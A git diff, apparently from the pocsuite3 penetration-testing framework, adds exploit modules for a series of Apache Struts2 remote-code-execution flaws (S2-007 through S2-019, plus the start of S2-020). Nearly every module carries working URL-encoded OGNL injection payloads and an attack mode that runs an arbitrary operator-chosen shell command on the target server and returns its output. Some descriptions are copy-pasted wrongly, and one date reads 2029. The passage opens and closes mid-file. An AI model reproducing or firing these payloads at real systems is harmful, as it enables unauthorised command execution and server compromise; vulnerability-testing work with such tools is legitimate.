+ exec_payload1 = "%28%27%5Cu0023context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27{cmd}%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte[51020]%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29"
+ exec_payload2 = "%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27{cmd}%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte[51020]%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29"
+
+ html1 = self.exp(command, exec_payload1)
+ html2 = self.exp(command, exec_payload2)
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "PAYLOAD_1": exec_payload1,
+ "OUTPUT_1":html1,
+ "PAYLOAD_2":exec_payload2,
+ "OUTPIT_2":html2
+ }
+ return self.parse_output(result)
+
+ def parse_output(self, result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail('target is not vulnerable')
+ return output
+
+
+register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20111001_WEB_Apache_Struts2_009_RCE_CVE-2011-3923.py b/pocsuite3/pocs/Apache_Struts2/20111001_WEB_Apache_Struts2_009_RCE_CVE-2011-3923.py
new file mode 100755
index 00000000..19942e1d
--- /dev/null
+++ b/pocsuite3/pocs/Apache_Struts2/20111001_WEB_Apache_Struts2_009_RCE_CVE-2011-3923.py
@@ -0,0 +1,77 @@
+from collections import OrderedDict
+from urllib.parse import quote
+
+from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.interpreter_option import OptString
+from pocsuite3.lib.utils import random_str
+
+
+class DemoPOC(POCBase):
+ vulID = '' # ssvid
+ version = '1.0'
+ author = ['']
+ vulDate = '2023-11-15'
+ createDate = '2023-11-15'
+ updateDate = '2023-11-15'
+ references = ['']
+ name = ''
+ appPowerLink = ''
+ appName = 'struts2'
+ appVersion = ''
+ vulType = ''
+ desc = '''S2-009:影响版本Struts 2.0.0-2.3.1.1'''
+ samples = []
+ category = POC_CATEGORY.EXPLOITS.WEBAPP
+
+ def _options(self):
+ o = OrderedDict()
+ o["command"] = OptString('', description="可执行的shell命令")
+ return o
+
+ def _verify(self):
+ result = {}
+ hash_str = random_str(10)
+ exec_payload = "(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27{cmd}%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[({key})(%27meh%27)]"
+ command = [
+ "echo " + hash_str,
+ "cmd.exe /c echo " + hash_str
+ ]
+ for cmd in command:
+ key = "key"
+ payload = exec_payload.format(cmd=quote(cmd), key=key)
+ html = requests.get(self.url + "&{}={}".format(key, payload)).text
+
+ if hash_str in html:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "PAYLOAD": payload
+ }
+
+ return self.parse_output(result)
+
+ def _attack(self):
+ result = {}
+ exec_payload = "(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27{cmd}%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[({key})(%27meh%27)]"
+ command = self.get_option("command")
+ key = "key"
+ payload = exec_payload.format(cmd=quote(command), key=key)
+ html = requests.get(self.url + "&{}={}".format(key, payload)).text
+
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "PAYLOAD": payload,
+ "HTML": html
+ }
+
+ return self.parse_output(result)
+
+ def parse_output(self, result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail('target is not vulnerable')
+ return output
+
+
+register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_007_RCE.py b/pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_007_RCE.py
new file mode 100755
index 00000000..c5531fc8
--- /dev/null
+++ b/pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_007_RCE.py
@@ -0,0 +1,84 @@
+from collections import OrderedDict
+from urllib.parse import quote
+
+from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.interpreter_option import OptString
+from pocsuite3.lib.utils import random_str
+
+
+class DemoPOC(POCBase):
+ vulID = '' # ssvid
+ version = '1.0'
+ author = ['sunflower']
+ vulDate = '2023-11-15'
+ createDate = '2023-11-15'
+ updateDate = '2023-11-15'
+ references = ['']
+ name = ''
+ appPowerLink = ''
+ appName = 'struts2'
+ appVersion = ''
+ vulType = ''
+ desc = '''S2-007:影响版本Struts 2.0.0-2.2.3;'''
+ samples = []
+ category = POC_CATEGORY.EXPLOITS.WEBAPP
+
+ def _options(self):
+ o = OrderedDict()
+ o["command"] = OptString('', description="可执行的shell命令")
+ return o
+
+ def _verify(self):
+ result = {}
+ hash_str = random_str(10)
+ exec_payload = "'%20%2B%20(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('{cmd}').getInputStream()))%20%2B%20'"
+ headers = {}
+ headers['Content-Type'] = 'application/x-www-form-urlencoded'
+ headers["Connection"] = "close"
+ command = [
+ "echo " + hash_str,
+ "cmd.exe /c echo " + hash_str
+ ]
+ for cmd in command:
+ data = "username=test&password={exp}"
+ data = data.format(exp=exec_payload.format(cmd=quote(cmd)))
+ html = requests.post(self.url, data=data, headers=headers).text
+
+ if hash_str in html:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "PAYLOAD": data
+ }
+
+ return self.parse_output(result)
+
+ def _attack(self):
+ result = {}
+ exec_payload = "'%20%2B%20(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('{cmd}').getInputStream()))%20%2B%20'"
+ headers = {}
+ headers['Content-Type'] = 'application/x-www-form-urlencoded'
+ headers["Connection"] = "close"
+ command = self.get_option("command")
+
+ data = "username=test&password={exp}"
+ data = data.format(exp=exec_payload.format(cmd=quote(command)))
+ html = requests.post(self.url, data=data, headers=headers).text
+
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "PAYLOAD": data,
+ "HTML": html
+ }
+
+ return self.parse_output(result)
+
+ def parse_output(self, result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail('target is not vulnerable')
+ return output
+
+
+register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_008_RCE_CVE-2012-0394.py b/pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_008_RCE_CVE-2012-0394.py
new file mode 100755
index 00000000..b42928de
--- /dev/null
+++ b/pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_008_RCE_CVE-2012-0394.py
@@ -0,0 +1,74 @@
+from collections import OrderedDict
+from urllib.parse import quote
+
+from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.interpreter_option import OptString
+from pocsuite3.lib.utils import random_str
+
+
+class DemoPOC(POCBase):
+ vulID = '' # ssvid
+ version = '1.0'
+ author = ['']
+ vulDate = '2023-11-15'
+ createDate = '2023-11-15'
+ updateDate = '2023-11-15'
+ references = ['']
+ name = ''
+ appPowerLink = ''
+ appName = 'struts2'
+ appVersion = ''
+ vulType = ''
+ desc = '''[+] S2-008:影响版本Struts 2.1.0-2.3.1; GET请求发送数据; 支持任意命令执行和反弹shell'''
+ samples = []
+ category = POC_CATEGORY.EXPLOITS.WEBAPP
+
+ def _options(self):
+ o = OrderedDict()
+ o["command"] = OptString('', description="可执行的shell命令")
+ return o
+
+ def _verify(self):
+ result = {}
+ hash_str = random_str(10)
+ exec_payload = "/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27{cmd}%27%29.getInputStream%28%29%29)"
+
+ command = [
+ "echo " + hash_str,
+ "cmd.exe /c echo " + hash_str
+ ]
+ for cmd in command:
+ payload = exec_payload.format(cmd=quote(cmd))
+ html = requests.get(self.url + payload).text
+ if hash_str in html:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "PAYLOAD": payload
+ }
+ return self.parse_output(result)
+
+ def _attack(self):
+ result = {}
+ command = self.get_option("command")
+ exec_payload = "/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27{cmd}%27%29.getInputStream%28%29%29)"
+ payload = exec_payload.format(cmd=quote(command))
+ html = requests.get(self.url + payload).text
+
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "PAYLOAD": payload,
+ "HTML": html
+ }
+
+ return self.parse_output(result)
+
+ def parse_output(self, result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail('target is not vulnerable')
+ return output
+
+
+register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_012_RCE_CVE-2013-1965.py b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_012_RCE_CVE-2013-1965.py
new file mode 100755
index 00000000..5504e5bd
--- /dev/null
+++ b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_012_RCE_CVE-2013-1965.py
@@ -0,0 +1,75 @@
+from collections import OrderedDict
+from urllib.parse import quote
+
+from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.interpreter_option import OptString
+from pocsuite3.lib.utils import random_str
+
+
+class DemoPOC(POCBase):
+ vulID = '' # ssvid
+ version = '1.0'
+ author = ['']
+ vulDate = '2023-11-15'
+ createDate = '2023-11-15'
+ updateDate = '2023-11-15'
+ references = ['']
+ name = ''
+ appPowerLink = ''
+ appName = 'struts2'
+ appVersion = ''
+ vulType = ''
+ desc = '''S2-012:影响版本Struts Showcase App 2.0.0-2.3.13'''
+ samples = []
+ category = POC_CATEGORY.EXPLOITS.WEBAPP
+
+ def _options(self):
+ o = OrderedDict()
+ o["command"] = OptString('', description="可执行的shell命令")
+ return o
+
+ def _verify(self):
+ result = {}
+ hash_str = random_str(10)
+ command = [
+ "echo " + hash_str,
+ "cmd.exe /c echo " + hash_str
+ ]
+ for cmd in command:
+ html = self.exp(cmd)
+
+ if hash_str in html:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ }
+
+ return self.parse_output(result)
+
+ def exp(self, command):
+ exec_payload = "%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B{cmd}%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D"
+ payload = exec_payload.format(cmd=quote(command))
+ html = requests.get(self.url + payload).text
+ return html
+
+ def _attack(self):
+ result = {}
+ command = self.get_option("command")
+ html = self.exp(command)
+
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "HTML": html
+ }
+
+ return self.parse_output(result)
+
+ def parse_output(self, result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail('target is not vulnerable')
+ return output
+
+
+register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_013_RCE_CVE-2013-1966.py b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_013_RCE_CVE-2013-1966.py
new file mode 100755
index 00000000..75f9a709
--- /dev/null
+++ b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_013_RCE_CVE-2013-1966.py
@@ -0,0 +1,75 @@
+from collections import OrderedDict
+from urllib.parse import quote
+
+from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.interpreter_option import OptString
+from pocsuite3.lib.utils import random_str
+
+
+class DemoPOC(POCBase):
+ vulID = '' # ssvid
+ version = '1.0'
+ author = ['']
+ vulDate = '2023-11-15'
+ createDate = '2023-11-15'
+ updateDate = '2023-11-15'
+ references = ['']
+ name = ''
+ appPowerLink = ''
+ appName = 'struts2'
+ appVersion = ''
+ vulType = ''
+ desc = '''S2-013/S2-014:影响版本Struts 2.0.0-2.3.14.1'''
+ samples = []
+ category = POC_CATEGORY.EXPLOITS.WEBAPP
+
+ def _options(self):
+ o = OrderedDict()
+ o["command"] = OptString('', description="可执行的shell命令")
+ return o
+
+ def _verify(self):
+ result = {}
+ hash_str = random_str(10)
+ command = [
+ "echo " + hash_str,
+ "cmd.exe /c echo " + hash_str
+ ]
+ for cmd in command:
+ html = self.exp(cmd)
+
+ if hash_str in html:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ }
+
+ return self.parse_output(result)
+
+ def exp(self, command):
+ exec_payload = "%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('{cmd}').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D"
+ payload = exec_payload.format(cmd=quote(command))
+ html = requests.get(self.url + "?x={payload}".format(payload=payload)).text
+ return html
+
+ def _attack(self):
+ result = {}
+ command = self.get_option("command")
+ html = self.exp(command)
+
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "HTML": html
+ }
+
+ return self.parse_output(result)
+
+ def parse_output(self, result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail('target is not vulnerable')
+ return output
+
+
+register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_015_RCE_CVE-2013-2134.py b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_015_RCE_CVE-2013-2134.py
new file mode 100755
index 00000000..c9e21d9d
--- /dev/null
+++ b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_015_RCE_CVE-2013-2134.py
@@ -0,0 +1,77 @@
+from collections import OrderedDict
+from urllib.parse import quote, unquote
+
+from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, get_middle_text
+from pocsuite3.lib.core.interpreter_option import OptString
+from pocsuite3.lib.utils import random_str
+
+
+class DemoPOC(POCBase):
+ vulID = '' # ssvid
+ version = '1.0'
+ author = ['']
+ vulDate = '2023-11-15'
+ createDate = '2023-11-15'
+ updateDate = '2023-11-15'
+ references = ['']
+ name = ''
+ appPowerLink = ''
+ appName = 'struts2'
+ appVersion = ''
+ vulType = ''
+ desc = '''S2-015:影响版本Struts 2.0.0-2.3.14.2;'''
+ samples = []
+ category = POC_CATEGORY.EXPLOITS.WEBAPP
+
+ def _options(self):
+ o = OrderedDict()
+ o["command"] = OptString('ls', description="可执行的shell命令")
+ return o
+
+ def _verify(self):
+ result = {}
+ hash_str = random_str(10)
+ command = [
+ "echo " + hash_str,
+ "cmd.exe /c echo " + hash_str
+ ]
+ for cmd in command:
+ html = self.exp(cmd)
+
+ if hash_str in html:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ }
+
+ return self.parse_output(result)
+
+ def exp(self, command):
+ exec_payload = "%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('{cmd}').getInputStream())%2C%23q%7D"
+ payload = exec_payload.format(cmd=quote(command))
+ html = requests.get(self.url + "{payload}.action".format(payload=payload)).text
+ return html
+
+ def _attack(self):
+ result = {}
+ command = self.get_option("command")
+ html = self.exp(command)
+ text = get_middle_text(html, "Status Report
Message", "
")
+ print(text)
+ if text:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "HTML": unquote(text)
+ }
+
+ return self.parse_output(result)
+
+ def parse_output(self, result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail('target is not vulnerable')
+ return output
+
+
+register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_016_RCE_CVE-2013-2251.py b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_016_RCE_CVE-2013-2251.py
new file mode 100755
index 00000000..06f11620
--- /dev/null
+++ b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_016_RCE_CVE-2013-2251.py
@@ -0,0 +1,100 @@
+import random
+from collections import OrderedDict
+from urllib.parse import quote
+
+from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.interpreter_option import OptString
+from pocsuite3.lib.utils import random_str
+
+
+class DemoPOC(POCBase):
+ vulID = '' # ssvid
+ version = '1.0'
+ author = ['']
+ vulDate = '2023-11-15'
+ createDate = '2023-11-15'
+ updateDate = '2023-11-15'
+ references = ['']
+ name = ''
+ appPowerLink = ''
+ appName = 'struts2'
+ appVersion = ''
+ vulType = ''
+ desc = '''S2-015:影响版本Struts 2.0.0-2.3.14.2;'''
+ samples = []
+ category = POC_CATEGORY.EXPLOITS.WEBAPP
+
+ def _options(self):
+ o = OrderedDict()
+ o["command"] = OptString('', description="可执行的shell命令")
+ return o
+
+ def _verify(self):
+ result = {}
+ num1 = random.randint(10000, 100000)
+ num2 = random.randint(10000, 100000)
+ check_poc = "redirect%3A%24%7B{num1}%2B{num2}%7D"
+ poc = check_poc.format(num1=num1, num2=num2)
+ r = requests.get(self.url + "?" + poc)
+ nn = str(num1 + num2)
+ if nn in r.url:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "PAYLOAD": poc
+ }
+
+ return self.parse_output(result)
+
+ def _attack(self):
+ result = {}
+ command = self.get_option("command")
+
+ falg = random_str(10).lower()
+ temp = "echo " + falg + ";"
+ exec_payload1 = "redirect%3A%24%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%20%7B{cmd}%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader%20(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23matt%3D%20%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')%2C%23matt.getWriter().println%20(%23e)%2C%23matt.getWriter().flush()%2C%23matt.getWriter().close()%7D"
+ exec_payload2 = "redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22{cmd}%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D"
+ exec_payload3 = r"redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27CMD%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27ENCODING%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}"
+
+ payload1 = exec_payload1.format(cmd=quote(temp))
+ html = requests.get(self.url + "?" + payload1).text.lower()
+ if falg in html.lower():
+ payload1 = exec_payload1.format(cmd=quote(command))
+ html = requests.get(self.url + "?" + payload1).text
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "HTML": html
+ }
+ return result
+
+ payload2 = exec_payload2.format(cmd=quote(temp))
+ html = requests.get(self.url + "?" + payload2).text.lower()
+ if falg in html:
+ payload2 = exec_payload2.format(cmd=quote(command))
+ html = requests.get(self.url + "?" + payload2).text
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "HTML": html
+ }
+ return result
+ payload3 = exec_payload3.replace('CMD', quote(temp))
+ html = requests.get(self.url + "?" + payload3).text.lower()
+ if falg in html:
+ payload3 = exec_payload3.replace('CMD', quote(command))
+ html = requests.get(self.url + "?" + payload3).text
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "HTML": html
+ }
+ return result
+ return self.parse_output(result)
+
+ def parse_output(self, result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail('target is not vulnerable')
+ return output
+
+
+register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20130612_WEB_Apache_Struts2_019_RCE_CVE-2013-4316.py b/pocsuite3/pocs/Apache_Struts2/20130612_WEB_Apache_Struts2_019_RCE_CVE-2013-4316.py
new file mode 100755
index 00000000..f4aef32c
--- /dev/null
+++ b/pocsuite3/pocs/Apache_Struts2/20130612_WEB_Apache_Struts2_019_RCE_CVE-2013-4316.py
@@ -0,0 +1,71 @@
+import random
+from collections import OrderedDict
+from urllib.parse import quote
+
+from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.interpreter_option import OptString
+from pocsuite3.lib.utils import random_str
+
+
+class DemoPOC(POCBase):
+ vulID = '' # ssvid
+ version = '1.0'
+ author = ['']
+ vulDate = '2029-5-8'
+ createDate = '2019-5-8'
+ updateDate = '2019-5-8'
+ references = ['']
+ name = ''
+ appPowerLink = ''
+ appName = 'struts2'
+ appVersion = ''
+ vulType = ''
+ desc = '''S2-019:影响版本Struts 2.0.0-2.3.15.1'''
+ samples = []
+ category = POC_CATEGORY.EXPLOITS.WEBAPP
+
+ def _options(self):
+ o = OrderedDict()
+ o["command"] = OptString('', description="可执行的shell命令")
+ return o
+
+ def _verify(self):
+ result = {}
+ exec_payload = "%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B{cmd}%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close()"
+
+ hash_md5 = random_str(5)
+ cmd = "echo {};".format(hash_md5)
+ html = requests.get(
+ self.url + "?debug=command&expression={payload}".format(payload=exec_payload.format(cmd=quote(cmd)))).text
+ if hash_md5 in html:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ }
+
+ return self.parse_output(result)
+
+ def _attack(self):
+ result = {}
+ exec_payload = "%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B{cmd}%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close()"
+
+ hash_md5 = random_str(5)
+ cmd = "echo {}||{}".format(hash_md5, self.get_option("command"))
+ html = requests.get(
+ self.url + "?debug=command&expression={payload}".format(payload=exec_payload.format(cmd=quote(cmd)))).text
+ if hash_md5 in html:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ }
+
+ return self.parse_output(result)
+
+ def parse_output(self, result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail('target is not vulnerable')
+ return output
+
+
+register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20131203_WEB_Apache_Struts2_020_RCE_CVE-2014-0094.py b/pocsuite3/pocs/Apache_Struts2/20131203_WEB_Apache_Struts2_020_RCE_CVE-2014-0094.py
new file mode 100755
index 00000000..69dc73dc
--- /dev/null
+++ b/pocsuite3/pocs/Apache_Struts2/20131203_WEB_Apache_Struts2_020_RCE_CVE-2014-0094.py
@@ -0,0 +1,101 @@
+"""
+If you have issues about development, please read:
+https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
+for more about information, plz visit http://pocsuite.org
+"""
+from pocsuite3.api import Output, POCBase, register_poc, requests, logger
+from pocsuite3.api import get_listener_ip, get_listener_port
+from pocsuite3.api import REVERSE_PAYLOAD
+from pocsuite3.lib.utils import random_str
+from requests.exceptions import ReadTimeout
+import base64
+import re
+from urllib.parse import urlparse
+from urllib.parse import urljoin
+import time
+
+
+class DemoPOC(POCBase):
